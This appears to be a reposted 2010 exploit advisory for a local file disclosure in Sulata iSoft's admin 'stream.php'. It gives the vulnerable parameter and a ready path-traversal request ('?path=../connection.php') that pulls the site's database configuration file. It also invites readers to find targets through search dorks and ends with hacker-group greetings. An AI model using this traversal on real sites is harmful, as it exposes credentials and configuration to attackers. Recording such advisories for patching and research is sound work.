发布 2010-12-10 漏洞条目

Sulata iSoft – ‘stream.php’ Local File Disclosure

Exploit Source

=========================================================

Sulata iSoft (stream.php) Local File Disclosure Exploit

=========================================================

# Exploit Title : Sulata iSoft (developer by Rizwan Azam) you look

site.com/about.php

# Date : 10 December 2010

# Author : Sudden_death

# Platform/Tested on: Windows XP 2 SP 2

# myweb : http://sudden.isgreat.org

# dork : your imagination

======================================================================

# vuln here

http://www.site.com/_admin/stream.php?path=

# try to download and watch source file stream.php

.....

//include_once("../home/library.php");

include_once("../connection.php"); <----------------------- look here,,

This is the config

suConnect();

.....

# after we know config, let us download

http://www.site.com/_admin/stream.php?path=../connection.php

[#]-------------------------------------------------------------------

yang ga bisa ane sebutin satu persatu |

Spesial thanks : [ indonesianhacker.or.id | tecon-crew.org | devilzc0de.org |

makassarhacker.com ]

note : jangan mengatakan setiap apa yang engkau ketahui tapi ketahuilah setiap

apa yang kau katakan!

相关漏洞条目